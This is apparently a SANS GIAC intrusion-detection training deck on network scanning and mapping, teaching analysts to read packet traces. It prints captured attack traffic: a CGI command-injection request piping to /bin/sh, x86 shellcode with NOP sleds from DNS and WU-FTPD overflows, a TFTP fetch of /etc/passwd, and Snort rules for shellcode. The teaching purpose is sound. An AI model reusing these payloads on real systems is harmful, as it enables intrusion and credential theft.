Tài liệu Intrusion Detection Patterns 2 pptx

1
IDIC – SANS GIAC LevelTwo
©2000, 2001
1
Intrusion Detection Patterns 2
Network Vulnerability
Scanning, Network Mapping
Hello, and welcome to the second section in a series that examine intrusion detection patterns that
we have assembled in the last few years. In the previous section, we discussed some of the errors
often made by analysts in the heat of the battle, and in this section we will concentrate on scanning
and mapping activities that have become so common on the Internet. Please turn your attention to the
next slide, titled “pcAnywhere.”
2
IDIC - SANS GIAC LevelTwo
©2000, 2001
2
pcAnywhere
Dec 24 18:02:13 cc1014244-a kernel:
securityalert: udp if=ef0 from attacker8:1044
to victim on unserved port 22
Dec 24 18:03:15 cc1014244-a kernel:
securityalert: udp if=ef0 from attacker8:1046
to victim on unserved port 5632
Take a look at the destination port in the first log entry on the slide. Port 22 means Secure Shell
(SSH), right? Not quite, since in this case the transport protocol is UDP, which is not generally used
for SSH traffic. A UDP port 22 connection attempt, especially when followed by an almost
immediate connection to UDP port 5632 is almost always indicative of a pcAnywhere probe. Take a
look at the analysis below, performed by Matt Scarborough. Note that different versions of
pcAnywhere use different ports when attempting to locate pcAnywhere agents, and that it is possible
to prevent a pcAnywhere host from answering by modifying an appropriate registry setting.
Matt writes: “Symantec's pcAnywhere client versions 7.5x and higher can scan a entire subnet for a

host by setting the last octet of its host's TCP/IP address to 255. Entering multiple subnets is possible.
Multiple subnets will be scanned. Trial versions of pcAnywhere are available for download from
Symantec. This makes for an attractive hacking tool, and might account for some of the increased
scans on the following ports.
ver - TCP - UDP
2.0 - 65301 - 22
7.0 - 65301 - 22
7.5 - 65301 - 22
7.52 - 5631 - 5632
8.x, 9.x - 5631 - 5632
Changing the default ports within the pcAnywhere client/host is possible. You can prevent a
pcAnywhere host from answering a remote scan by creating and setting this Registry DWORD value
to 0
HKEY_LOCAL_MACHINE\SOFTWARE\Symantec\pcANYWHERE\CurrentVersion\Syst
em\DisplayHostInList”
3
IDIC - SANS GIAC LevelTwo
©2000, 2001
3
Mscan
Exploit driven scripted attack
06:13:23 srn.org.6479 > victim.org.23:S
06:13:28 srn.org.1579 > victim.org.80:S
06:13:33 srn.org.2467 > victim.org.143:S
06:13:38 srn.org.3861 > victim.org.53:S
06:13:43 srn.org.1496 > victim.org.110:S
06:13:47 srn.org.1943 > victim.org.111:S
23 Telnet, 80 Web, 143 IMAP, 53 DNS, 110 POP, 111 Portmapper
More information about this attack is in your notes pages.
Note how conveniently the alleged attacker scans for some of the more critical services in under 25

seconds. This is certainly not the fastest port scan, but it is quick enough to suggest that it was
performed using an automated tool to probe for potential vulnerabilities on the targeted system. In
fact, it is likely that the scan presented on the slide was performed using a tool called Multiscan, or
simply “mscan.” AUSCERT described mscan in their AL-98.01 advisory on 20 July 1998:
“AusCERT has received reports indicating a recent and substantial increase in network scanning
activity. It is believed that intruders are using a new tool called ‘Multiscan’ or ‘mscan’. This tool
enables the user to scan whole domains and complete ranges of IP addresses to discover well-known
vulnerabilities in the following services: statd, nfs, various cgi-bin programs, (eg: 'handler', 'phf' &
'cgi-test'), X, POP3, IMAP, Domain Name Servers finger.”
The complete text of the AusCERT advisory can be found at the following URL, and another
demonstration of the attack performed using mscan is presented on the next slide.
/>4
IDIC - SANS GIAC LevelTwo
©2000, 2001
4
YA Multiscan
13:05:04 scan.2578 > 192.168.1.1.23:S
922736:922736(0) win 8192
13:05:04 scan.2577 > 192.168.1.1.888:S
922735:922735(0) win 8192
13:05:05 scan.2575 > 192.168.1.1.12345:S
922734:922734(0) win 8192
13:05:05 scan.2576 > 192.168.1.1.31337:S
922734:922734(0) win 8192
Full scan shown on notes page, probably in development,
cycled several times against same target. JAN 99 detect.
This slide presents yet another trace of a scan that was most likely orchestrated using Multiscan. A more complete trace
can be found in the notes below. The purpose of such an attack is to test for a wide variety of ports that might or might
not be open on the targeted system. Stealth is not considered at all; the attacker either assumes no one is checking the
logs, (true in a large number of cases), or deploys the attack at night or over a weekend. The probe is then run quickly

and completely. If vulnerabilities are detected, they are rapidly exploited. More advanced tools deploy a set of exploits
against it in order to try to break in as soon as a potentially vulnerable, active port is detected. Once you’ve examined
the mscan log file below, please turn your attention to the next slide, titled “Trojan Scan – May 2000.”
13:05:02.437871 scanner.2577 > 192.168.1.1.888: S 922735:922735(0) win 8192 (DF)
13:05:02.442739 scanner.2578 > 192.168.1.1.telnet: S 922736:922736(0) win 8192 (DF)
13:05:03.071918 scanner.2578 > 192.168.1.1.telnet: S 922736:922736(0) win 8192 (DF)
13:05:03.079767 scanner.2577 > 192.168.1.1.888: S 922735:922735(0) win 8192 (DF)
13:05:03.680841 scanner.2577 > 192.168.1.1.888: S 922735:922735(0) win 8192 (DF)
13:05:04.274991 scanner.2578 > 192.168.1.1.telnet: S 922736:922736(0) win 8192 (DF)
13:05:04.278967 scanner.2577 > 192.168.1.1.888: S 922735:922735(0) win 8192 (DF)
13:05:05.391873 scanner.2575 > 192.168.1.1.12345: S 922734:922734(0) win 8192 (DF)
13:05:05.392074 scanner.2576 > 192.168.1.1.31337: S 922734:922734(0) win 8192 (DF)
13:05:06.079211 scanner.2575 > 192.168.1.1.12345: S 922734:922734(0) win 8192 (DF)
5
IDIC - SANS GIAC LevelTwo
©2000, 2001
5
Trojan Scan - May 2000
193.189.191.218:4073 to 24.3.21.199 port 1001
193.189.191.218:4074 to 24.3.21.199 port 1243
193.189.191.218:4076 to 24.3.21.199 port 12346
193.189.191.218:4077 to 24.3.21.199 port 21544
193.189.191.218:4078 to 24.3.21.199 port 21554
193.189.191.218:4079 to 24.3.21.199 port 30100
193.189.191.218:4080 to 24.3.21.199 port 61466
Typical cable modem country activity
This scan is indicative of some of the new patterns emerging in late April - May 2000, when we
began seeing probes to destination ports that were increasingly unknown to us. At the time we
assumed that these were probably just minor variations of existing Trojans. By now most of these
ports are listed in the SANS ID FAQ

( but as analysts you should be
prepared to face traffic patterns unknown to you at the time of the incident.
6
IDIC - SANS GIAC LevelTwo
©2000, 2001
6
Crazy 8s – Jun 1999
With signature TOS 0x82
Key to understanding:
Type of Service (TOS) is a field in the IP header. Only four bits of
the field are actually used. If all four bits are zero this means
normal service. The legal values are specified by RFC 1349.
eight.1051 > 128.38.115.249.888: S
96177:96177(0) win 8192 (DF) [tos 0x82]
eight.1051 > 128.38.115.249.888: S
96177:96177(0) win 8192 (DF) [tos 0x82]
eight.1051 > 128.38.115.249.888: S
96177:96177(0) win 8192 (DF) [tos 0x82]
Type of Service (TOS) is a field in the IP header meant to assign priority to network traffic. While
this field is allocated 8 bits, only 4 bits are supposed to be used, as explained by Richard Stevens in
his TCP/IP Illustrated
book:
“The type-of-service field (TOS) is composed of a 3-bit precedence field (which is ignored today), 4
TOS bits, and an unused bit that must be 0 … Only 1 of these [TOS] bits can be turned on. If all 4
bits are 0 it implies normal service.”
Let us look at the TOS field of packets in the trace on this slide. 0x82 in hex is 10000010 in binary.
This value is certainly abnormal, as far as TOS specifications are concerned, since one of the first of
the 3 bits, which should not be used, is set. In this case, the TOS value serves as a signature of the
software that crafted the packet.
7

IDIC - SANS GIAC LevelTwo
©2000, 2001
7
Multiscan #204
11:48:42 prober.18985 > host.arpa.net.794: S
1240987936:1240987936(0) win 512
11:48:42 prober.18987 > host.arpa.net.248: S
909993377:909993377(0) win 512
11:48:42 prober.19031 > host.arpa.net.386: S
1712430684:1712430684(0) win 512
11:48:42 prober.19032 > host.arpa.net.828: S
323265067:323265067(0) win 512
11:48:42 prober.19033 > host.arpa.net.652: S
1333164003:1333164003(0) win 512
11:48:42 prober.19149 > host.arpa.net.145: S
2112498338:2112498338(0) win 512
Very fast scan for unknown ports
This is one more example of the types of multiscans that were in play in the 1999 timeframe. Note the speed
of the scan and the obscurity of the probed ports.
11:48:42.413036 prober.18985 > host.arpa.net.794: S 1240987936:1240987936(0) win 512
11:48:42.415953 prober.18987 > host.arpa.net.248: S 909993377:909993377(0) win 512
11:48:42.416116 prober.19031 > host.arpa.net.386: S 1712430684:1712430684(0) win 512
11:48:42.416279 prober.19032 > host.arpa.net.828: S 323265067:323265067(0) win 512
11:48:42.416443 prober.19033 > host.arpa.net.652: S 1333164003:1333164003(0) win 512
11:48:42.556849 prober.19149 > host.arpa.net.145: S 2112498338:2112498338(0) win 512
11:48:42.560124 prober.19150 > host.arpa.net.228: S 1832011492:1832011492(0) win 512
11:48:42.560824 prober.19151 > host.arpa.net.840: S 3231869397:3231869397(0) win 512
11:48:42.561313 prober.19152 > host.arpa.net.1003: S 2435718521:2435718521(0) win 512
11:48:42.561437 prober.19153 > host.arpa.net.6: S 2632531476:2632531476(0) win 512
11:48:42.561599 prober.19165 > host.arpa.net.280: S 2799050175:2799050175(0) win 512

11:48:42.563074 prober.19166 > host.arpa.net.845: S 2065507088:2065507088(0) win 512
11:48:42.563115 prober.19226 > host.arpa.net.653: S 1198658558:1198658558(0) win 512
11:48:42.563238 prober.19227 > host.arpa.net.444: S 1090444266:1090444266(0) win 512
11:48:42.565041 prober.19274 > host.arpa.net.907: S 2414364472:2414364472(0) win 512
8
IDIC - SANS GIAC LevelTwo
©2000, 2001
8
Multiscan October 2000
Oct 9 20:03:37 139.92.170.181:3126 -> z.y.w.34:143 SYN ******S*
Oct 9 20:03:38 139.92.170.181:3137 -> z.y.w.34:53 SYN ******S*
Oct 9 20:03:39 139.92.170.181:3142 -> z.y.w.34:110 SYN ******S*
Oct 9 20:03:40 139.92.170.181:3145 -> z.y.w.34:23 SYN ******S*
Oct 9 20:05:54 139.92.170.181:3572 -> z.y.w.34:79 SYN ******S*
Oct 9 20:06:01 139.92.170.181:3606 -> z.y.w.34:23 SYN ******S*
Oct 9 20:05:57 139.92.170.181:3586 -> z.y.w.34:143 SYN ******S*
Oct 9 20:05:58 139.92.170.181:3592 -> z.y.w.34:53 SYN ******S*
Oct 9 20:05:59 139.92.170.181:3600 -> z.y.w.34:110 SYN ******S*
Key to Understanding: Probable reconnaissance, yet a
year ago this would have likely been buffer overflows.
The interesting thing about this trace is that we have been associating IMAP, DNS AXFER and POP
(and finger if you go back far enough) with exploit code. I think the port 23 stands out in this case.
There wasn’t a current IMAP or POP buffer overflow, and the Snort system didn’t alert on any rules.
However, since the box is protected by PortSentry, as shown below with the partial correlation, it may
not have had a chance to.
Oct 9 20:03:29 hosty portsentry[594]: attackalert: Connect from host:
slip139-92-170-181.sof.bg.ibm.net/139.92.170.181 to TCP port: 79
Oct 9 20:03:32 hostmi portsentry[307]: attackalert: Connect from
host: slip139-92-170-181.sof.bg.ibm.net/139.92.170.181 to TCP port:
143

This attacker actually comes back the next day and does a repeat performance. Probably this is a huge
scan; he has run through his target addresses and is now looping.
Oct 10 00:07:51 139.92.170.181:1647 -> z.y.w.34:79 SYN ******S*
Oct 10 00:07:57 139.92.170.181:1672 -> z.y.w.34:23 SYN ******S*
Oct 10 00:07:54 139.92.170.181:1658 -> z.y.w.34:143 SYN ******S*

9
IDIC - SANS GIAC LevelTwo
©2000, 2001
9
Hunting SGI Systems
21:17:12 prober.1351 > SGI.imap: S
19051280:19051180(0) win 512
21:17:12 prober.1352 > SGI.5232:S
12879079:12879079(0) win 512
21:17:12 prober.1353 > SGI.telnet: S
42734399:42734399(0) win 512
Key to understanding:
This portion probes a subnet
that just happens
to have SGI
computers. 5232 is an SGI service for distributed graphics.
This could indicate the site is partially mapped, or probed
already.
This is an example of vulnerability scanning against an individual machine. In this case, the attacker
wants to exploit an SGI system. An attacker chooses a single target machine and attempts to discern
what services are running on it and any other information that may be recovered remotely.
This is accomplished through sending connection requests to many ports, (there are 65536 possible),
and analyzing any response the target machine makes.
Some vulnerability scanning tools only attempt to connect to a few well-known service ports.

10
IDIC - SANS GIAC LevelTwo
©2000, 2001
10
Still Hunting SGI Systems
21:07:16.63 badguy.com.26617 > goodnhacked.com.5135: udp 52
21:07:16.63 badguy.com.26617 > goodnhacked.com.5135: udp 52
21:07:16.66 goodnhacked.com.5135 > badguy.com.26617: udp 69
21:07:16.66 goodnhacked.com.5135 > badguy.com.26617: udp 69
21:07:16.89 badguy.com.26617 > goodnhacked.com.5135: udp 308
21:07:16.89 badguy.com.26617 > goodnhacked.com.5135: udp 308
21:07:17.83 goodnhacked.com.5135 > badguy.com.26617: udp 41
21:07:17.83 goodnhacked.com.5135 > badguy.com.26617: udp 41
21:07:59 6C: goodnhacked.com telnetd[5020]: connect from some.edu
21:08:18 6E: goodnhacked.com login[5021]: ?@some.edu as zippy
5135 is SGI Object Server
Here is another example of an attacker who is apparently looking for SGI systems.
Detect and analysis by Marc E. Labram, GCIA.
Date: April 19, 2000
“History: Yes. There have been previous scans from this particular Asian ISP. The System
Administrator of goodguy-hacked.com noticed an unauthorized account called zippy on the machine.
Analysis: This particular trace shows that they were scanning for an open UDP port 5135, the SGI
Object Server.”
11
IDIC - SANS GIAC LevelTwo
©2000, 2001
11
SGI Infoframe
[**] BUGTRAQ ID 1031 - SGI InfoSearch fname Access [**]
04/22-20:01:35.752761 132.239.114.243:29208 -> z.y.x.80:80

TCP TTL:48 TOS:0x0 ID:32902
*****PA* Seq: 0x1F5D4C01 Ack: 0xFC85100B Win: 0xEFF7
47 45 54 20 2F 63 67 69 2D 62 69 6E 2F 69 6E 66 GET /cgi-bin/inf
6F 73 72 63 68 2E 63 67 69 3F 63 6D 64 3D 67 65 osrch.cgi?cmd=ge
74 64 6F 63 26 64 62 3D 6D 61 6E 26 66 6E 61 6D tdoc&db=man&fnam
65 3D 7C 2F 62 69 6E 2F 65 63 68 6F 20 24 48 54 e=|/bin/echo $HT
54 50 5F 58 7C 2F 62 69 6E 2F 73 68 20 2D 73 20 TP_X|/bin/sh -s
48 54 54 50 2F 31 2E 30 0A 58 3A 20 65 63 68 6F HTTP/1.0.X: echo
20 27 7B 5F 69 6E 66 6F 73 72 63 68 2D 62 65 67 '{_infosrch-beg
69 6E 5F 7D 27 3B 75 6E 61 6D 65 20 2D 61 3B 69 in_}';uname -a;i
64 3B 77 3B 65 63 68 6F 20 27 7B 5F 69 6E 66 6F d;w;echo '{_info
73 72 63 68 2D 65 6E 64 5F 7D 27 0A 0A 7D 27 0A srch-end_}' }'.
0A .
infosrch.cgi is an SGI-specific cgi-bin program. Here we see that it is being used as a recon attack.
Note the three commands, shown in bold on the slide:
uname –a, which gives operating system and kernel info
id, which gives user and group IDs of the user executing the command
w, who is logged on, account names, etc.
12
IDIC – SANS GIAC LevelTwo
©2000, 2001
12
Japan Network Information Center, Japan
[**] OVERFLOW-NOOP-X86 [**]
04/19-17:12:25.711444 210.164.71.242:1205 -> z.y.x.98:53
TCP TTL:42 TOS:0x0 ID:3736 DF
*****PA* Seq: 0xB97BEC5 Ack: 0xF636597E Win: 0x7D78
TCP Options => NOP NOP TS: 366539572 314575081
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90

90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
….
00 41 44 4D 52 4F 43 4B 53 00 2E 2E 2F 2E 2E 2F .ADMROCKS / /
2E 2E 2F 2E 2E 2F 2E 2E 2F 2E 2E 2F 2E 2E 2F 2E / / / / /.
2E 2F 2E 2E 2F 00 5E B8 02 00 00 00 CD 80 89 C0 ./ /.^
85 C0 0F 85 8E 00 00 00 89 F3 8D 4E 0C 8D 56 18 N V.
B8 0B 00 00 00 CD 80 B8 01 00 00 00 CD 80 E8 75 u
00 00 00 10 00 00 00 00 00 00 00 74 68 69 73 69 thisi
73 73 6F 6D 65 74 65 6D 70 73 70 61 63 65 66 6F ssometempspacefo
72 74 68 65 73 6F 63 6B 69 6E 61 64 64 72 69 6E rthesockinaddrin
79 65 61 68 79 65 61 68 69 6B 6E 6F 77 74 68 69 yeahyeahiknowthi
73 69 73 6C 61 6D 65 62 75 74 61 6E 79 77 61 79 sislamebutanyway
77 68 6F 63 61 72 65 73 68 6F 72 69 7A 6F 6E 67 whocareshorizong
6F 74 69 74 77 6F 72 6B 69 6E 67 73 6F 61 6C 6C otitworkingsoall
Detect by Laurie Zirkle, GIAC contributor
The point of this slide is to show that from a purely traffic analysis point of view, you can’t tell the
difference between a zone transfer and a DNS buffer overflow. If you just look at the header, you
see a TCP connection to port 53. You need to dig deeper to determine what this really is.
The technique here relies on a program that expects to grab a fixed size “chunk” of information; this
is very common.
The attacker has padded the actual attack with no ops, represented by the 90s on your slide. We
deleted a lot of these. Then machine code follows, which is executed with the privilege level of the
program, in this case root.
13
IDIC – SANS GIAC LevelTwo
©2000, 2001
13

20:32:18.543187 external-host.1081 > my-dns-server.domain:S
362376231:362376231(0) win 32120 <mss 1460,sackOK,timestamp 808255
0,nop,wscale 0> (DF)
20:32:18.543367 my-dns-server.domain > external-host.1081: S
1182395461:1182395461(0) ack 362376232 win 17520 <mss 1460> (DF)
20:32:18.543622 external-host.1081 > my-dns-server.domain: . ack 1 win
32120 (DF)
20:32:18.681443 external-host.1081 > my-dns-server.domain: P
1463:1587(124) ack 1 win 32120 (DF)
0000: 4500 00a4 00f9 4000 4006 efa1 c0a8 6401 E @.@ d.
0010: c0a8 6467 0439 0035 1599 71de 4679 ec46 dg.9.5 q.Fy.F
0020: 5018 7d78 6a4a 0000 9090 9090 9090 9090 P.}xjJ
0030: 9090 9090 9090 9090 9090 9090 9090 9090
0040: 9090 9090 9031 c0b0 3f31 dbb3 0431 c9cd 1 ?1 1
0050: 8031 c0b0 3fb1 01cd 8031 c0b0 3fb1 02cd .1 ? 1 ?
0060: 80eb 245e 8d1e 895e 0b33 d289 5607 8956 $^ ^.3 V V
0070: 0fb8 1b56 3412 3510 5634 128d 4e0b 8bd1 V4.5.V4 N
0080: cd80 33c0 40cd 80e8 d7ff ffff 2f62 696e 3.@ /bin
0090: 2f73 6800 0f00 0000 0400 0000 9090 9090 /sh
00a0: 48f3 ffbf H
This is a DNS I-query Buffer Overflow. It has two classic signs of a buffer overflow attack, both of
which can be seen in the hex dump. First, it has a series of no op commands (hex 90) in the
beginning of the data portion of the packet. This increases the likelihood that the malicious code will
be executed properly, since the attacker may not know the exact state of the target's memory stack.
Second, we can see the string /bin/sh in the data portion, which you shouldn’t be seeing as part of
a DNS request, and is probably the command that the attacker is trying to execute on the remote
machine.
There was speculation in September 2000 by Mixter that there is a second similar pattern loose in the
wild, but no trace had been submitted as of September 30, 2000 to either GIAC or Incidents. If you
have any traces of attacks to DNS with hex content, please send these to

14
IDIC - SANS GIAC LevelTwo
©2000, 2001
14
Oct 13 05:26:24 host1 ftpd[3415]: ANONYMOUS FTP LOGIN FROM
209.85.33.41 [209.85.33.41]
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 C0 DB C9 B0 CD 80
C0 DB 89 D9 B0 CD 80 EB C0 C9 8D 88 B9 FF B0 CD 80 C0 8D B0
CD 80 C0 DB 8D 89 C9 FE C9 C0 8D B0 CD 80 FE C9 F3 C0 88 8D
B0CD80FEB00FEC888C088898989F38D8DB0CD80
C0 DB B0 CD 80 E8 90 FF FF FF 0bin0sh1 11
WU-FTPD Remote Shells
Detect by Jose Nazario, posted to GIAC in October 2000.
There are a couple variations of this attack, as shown by the Snort filters below. Like the example on
the previous slide, the idea is to pad with the nulls and then execute the shell.
msg: "IDS287 - FTP - Wuftp260 venglin linux"; content: "|31c031db
31c9b046 cd80 31c031db|"; flags: AP;)
(msg: "IDS287 - FTP wuftp260 Venglin Linux"; content: "|31c031db
31c9b046 cd80 31c031db|"; flags: PA; depth: 32;)
(msg: "IDS288 - FTP wuftp260 Venglin BSD"; content: "|31c0 50 50 50
b07e cd80 31db 31c0|"; flags: PA; depth: 32;)
15
IDIC - SANS GIAC LevelTwo
©2000, 2001
15

Trin00
[**] IDS197 - DDoS - Trin00 [**]
08/28-11:07:47.986342 a.b.c:2923 -> e.f.g:27444
UDP TTL:128 TOS:0x0 ID:25287
Len: 19
70 6E 67 20 6C 34 34 61 64 73 6C D8 6C D8 6C D8 6C D8
png l44adsl.l.l.l.
Key to Understanding:
This is the Ping to connect to the potential daemon from the
Master. Pong reply would likely be port 31335.
The detect and analysis was done by Glen Williamson.
An attacker(s) may control one or more master servers; each master server can control multiple
daemons. The daemons carry out coordinated packet based attacks against one or more victim
systems. The network usually is run with attacker(s)Æ master(s)Ædaemon(s)Æ against victim or
victims.
Communication from the Trin00 master to the daemon is accomplished via UDP packets on port
27444. Had a connection been made back to the master from the potential daemon (this machine) it
would have been via port 31335/udp.
The initial “png” command sent to the daemon by the master would have replied with a “PONG” on
the port 31335/udp, had the daemon (host) been previously compromised. Also noted in the activity
above is the default password “144ads1”.
16
IDIC - SANS GIAC LevelTwo
©2000, 2001
16
TFTP - SNMP
13:09:50 192.168.15.2.1125 > 172.16.67.18.161: [|snmp]
13:16:57 192.168.15.2.1133 > 172.16.67.189.69: 23 RRQ
"/etc/passwd"
13:09:51 192.168.15.2.1125 > 172.16.67.18.161: [|snmp]

13:17:02 192.168.15.2.1134 > 172.16.67.18.69: 23 RRQ
"/etc/passwd"
13:09:57 192.168.15.2.1126 > 172.16.67.121.161:
[|snmp]
Key to understanding:
A large number of NT and Unix attacks involve going
after the password file and then decrypting it off line.
One of the bread and butter techniques of an attacker is to acquire and decrypt the password file. NT
password files cannot withstand an attack by L0phtCrack on brute force mode for long at all
(although we haven’t tested it against the 128 bit encryption.dll). On a 400 MHz Pentium with only
64 MB RAM, we were able to decrypt the entire password file, 800 users, of a BDC (Backup
Domain Controller) in under 24 hours.
Unix password files are more resistant to attack, but it really doesn’t matter, since users are still
creating bad passwords such as: female names, sports teams, profanity, religious jargon, and of
course, the all time favorite is the username with a digit. These very weak passwords can be found
by dictionary attack and tend to fall out very quickly. Because attackers are going to go after the
password file with a variety of techniques, even in an age of sniffers, we still push for good password
discipline such as non-dictionary words and at least eight characters. We may not be able to stop
them from decrypting the password file, but we may be able to buy enough time to detect the fact
that the system was compromised before they can use the decrypted passwords against us.
TFTP stands for the Trivial File Transfer Protocol, usually found at port 69. You don’t see TFTP
attacks often, but they do occur and have as long as we have been doing intrusion detection. You
should block TFTP at the border to your networks as a matter of course.
17
IDIC - SANS GIAC LevelTwo
©2000, 2001
17
12/03/97 02:35:53 muon.gov 994 -> relay.arpa.net sunrpc
12/03/97 02:35:56 muon.gov 994 -> relay.arpa.net sunrpc
12/03/97 02:36:02 muon.gov 994 -> relay.arpa.net sunrpc

12/03/97 02:36:08 muon.gov 995 -> ns1.arpa.net sunrpc
12/03/97 02:47:46 muon.gov 954 -> 147.168.16.7 sunrpc
12/03/97 02:47:52 muon.gov 954 -> 147.168.16.7 sunrpc
12/03/97 03:09:26 muon.gov 861 -> gw1.havregrace.arpa.net sunrpc
12/03/97 03:09:29 muon.gov 861 -> gw1.havregrace.arpa.net sunrpc
12/03/97 03:09:35 muon.gov 861 -> gw1.havregrace.arpa.net sunrpc
Key to understanding:
Portmapper points to other TPC services. For instance,
rpcinfo –p hostname
will provide info about unsecured Unix systems if they are running RPC’s.
TCP RPC attacks were fairly rare,(he said in DEC 1997).
TCP 111 – SUNRPC
Netlogger Trace – from Shadow’s predecessor
A connection to TCP port 111 is an attempt to access portmapper, which may reveal information
about RPC programs running on the targeted system. From 1995 through most of 1997, RPC
exploits comprised a small percentage of the attack attempts we detected. In fact, the December
1997 detect in the slide was our first with the statd exploit. Of course, recorded statd attempts began
to increase in late 1997 and early 1998. This was particularly interesting at a time when more and
more Unix operating systems had “secure” versions of portmapper.
Think this slide is dated? After all, it was captured with a last generation intrusion detection system.
As of January 2001, destination port 111 was the most common port reported to GIAC and was seen
nearly 5 times more often than the second most frequently reported port. The new exploits are being
tried against your facility, but so are the old ones. The attackers will take whatever they can get.
Now, let’s move past exploits for a minute. The most well known RPC service is NFS. Showmount
–e hostname will list Unix systems that have mountable or exported file systems. Even today, some
sites still do not block portmap and NFS with their firewalls or filtering routers. Instead of attacking,
the intruder may be interested in the information itself. Any foothold on the file system could lead to
an attack.
18
IDIC - SANS GIAC LevelTwo

©2000, 2001
18
Rexec
Port 512 TCP
21:30:17 prober.1439 > 172.20.18.173.512: S
334208000:334208000(0) win 61440
21:30:22 prober.1439 > 172.20.18.173.512: S
334208000:334208000(0) win 61440
21:30:46 prober.1439 > 172.20.18.173.512: S
334208000:334208000(0) win 61440
21:31:02 prober.1449 > 172.20.18.173.512: S
340608000:340608000(0) win 61440
21:31:07 prober.1449 > 172.20.18.173.512: S
340608000:340608000(0) win 61440
Key to understanding. Rexec is rarely logged and unlike most
of the Berkeley “r” utilities requests a password. With these
two factors in mind, what might the attacker want to try?
The example on this slide shows an attacker attempting to connect to TCP port 512, rexec. Note that
the attacker is sending multiple requests to the rexec port on a single machine.
How many people use rexec? I would probably have to print a usage statement to figure out how it
works. As a general rule, you never want to have active services that you aren’t using. Attackers
may search until they find a system with an active rexec service, then begin testing passwords.
Another good reason to disable ports that are not being used!
19
IDIC - SANS GIAC LevelTwo
©2000, 2001
19
Rexec – Closer Look
04/04-20:50:18.921147 0:E0:D0:11:55:2D -> 0:10:4B:9F:3:47
type:0x800 len:0x8A

xxx.xxx.11.254:51349 -> yyy.yyy.228.97:512 TCP TTL:50 TOS:0x0
ID:34539 DF
*****PA* Seq: 0x7BFCA97B Ack: 0x6DD7DCB0 Win: 0x2238
TCP Options => NOP NOP TS: 1233062 43475623
30 00 67 75 65 73 74 00 67 75 65 73 74 00 65 63 0.guest.guest.ec
68 6F 20 27 7B 5F 67 75 65 73 74 2D 62 65 67 69 ho '{_guest-begi
6E 5F 7D 27 3B 75 6E 61 6D 65 20 2D 61 3B 69 64 n_}';uname -a;id
3B 77 3B 65 63 68 6F 20 27 7B 5F 67 75 65 73 74 ;w;echo '{_guest
2D 65 6E 64 5F 7D 27 00 -end_}'.
Now let’s take a closer look at an rexec attempt. The hex dump should look somewhat familiar to you.
Several slides ago, we looked at an SGI attack involving a cgi-bin script. When we looked at the hex dump
for those packets, we saw three commands: uname –a, id and w, which could reveal operating system
information, user and group IDs, and other information. The hex dump in this slide shows the same three
commands.
Note that for a long time, SGI systems had guest accounts without passwords.
This detect is by Larry Erdahl, GCIA:
04/04-20:50:20.158005 0:E0:D0:11:55:2D -> 0:10:4B:9F:3:47 type:0x800 len:0x8A
xxx.xxx.11.254:51349 -> yyy.yyy.228.97:512 TCP TTL:50 TOS:0x0 ID:36903 DF
***F*PA* Seq: 0x7BFCA97B Ack: 0x6DD7DCB0 Win: 0x2238
TCP Options => NOP NOP TS: 1233064 43475623
30 00 67 75 65 73 74 00 67 75 65 73 74 00 65 63 0.guest.guest.ec
68 6F 20 27 7B 5F 67 75 65 73 74 2D 62 65 67 69 ho '{_guest-begi
6E 5F 7D 27 3B 75 6E 61 6D 65 20 2D 61 3B 69 64 n_}';uname -a;id
3B 77 3B 65 63 68 6F 20 27 7B 5F 67 75 65 73 74 ;w;echo '{_guest
2D 65 6E 64 5F 7D 27 00 -end_}'.
20
IDIC - SANS GIAC LevelTwo
©2000, 2001
20
18:45:06 b.t.t.6879 > 128.256.1.0.http: S 1025092638:1025092638(0) win 61440

18:45:09 b.t.t.7136 > 128.256.2.0.http: S 1041868014:1041868014(0) win 61440
18:45:12 b.t.t.6879 > 128.256.1.0.http: S 1025092638:1025092638(0) win 61440
18:45:14 b.t.t.7395 > 128.256.3.0.http: S 1059077568:1059077568(0) win 61440
18:45:15 b.t.t.7136 > 128.256.2.0.http: S 1041868014:1041868014(0) win 61440
18:45:16 b.t.t.7650 > 255.255.255.255.http: S 1075727476:1075727476(0) win
61440
18:45:17 b.t.t.7905 > 128.256.5.0.http: S 1092175088:1092175088(0) win 61440
18:45:20 b.t.t.7395 > 128.256.3.0.http: S 1059077568:1059077568(0) win 61440
18:45:20 b.t.t.8160 > 128.256.6.0.http: S 1108940634:1108940634(0) win 61440
18:45:22 b.t.t.7650 > 255.255.255.255.http: S 1075727476:1075727476(0) win
61440
18:45:23 b.t.t.7905 > 128.256.5.0.http: S 1092175088:1092175088(0) win 61440
Note the 255.255.255.255 pattern; what causes this?
Scanning for Web Servers
There are a number of reasons one might scan for a Web server. Many operating systems come with
“stub” servers. Often these have the default settings and some system owners are unaware they are
there, so no one is checking the logs.
CGI-BIN scripts are another opportunity for attackers; there are scripts that check 20 or more well
known script vulnerabilities.
Take a look at the destination addresses in this scan; these packets are being sent to .0 addresses.
The directed broadcasts (note the 255.255.255.255 entries) are probably a function of the attacker
coming to the subnet that the router is on. Judging from the trace, I would guess it is the 4 subnet.
The router is treating address zero as a broadcast address.
21
IDIC - SANS GIAC LevelTwo
©2000, 2001
21
031
Source IP Address
Destination IP Address

Protocol
Header Checksum
TTL
ID Field
Length in BytesTOS
Frag offset
VER
15
IP header with no options shown, 20 bytes total
REVIEW from IP Concepts prerequisite class
Packets Are Sort of Positional
As we learned in IP Concepts, the IP Protocol field is in the IP header. It is an 8 bit field allowing
for as many as 255 IP protocols. The most commonly seen protocols and their IP Protocol values are
ICMP (1), TCP (6), and UDP (17). Other protocol values will appear from time to time; you will
need to investigate them in order to determine if you should be seeing them in your environment or
not.
22
IDIC - SANS GIAC LevelTwo
©2000, 2001
22
00:32:28.164183 209.207.135.133 > B.0.255: ip-proto-191 48
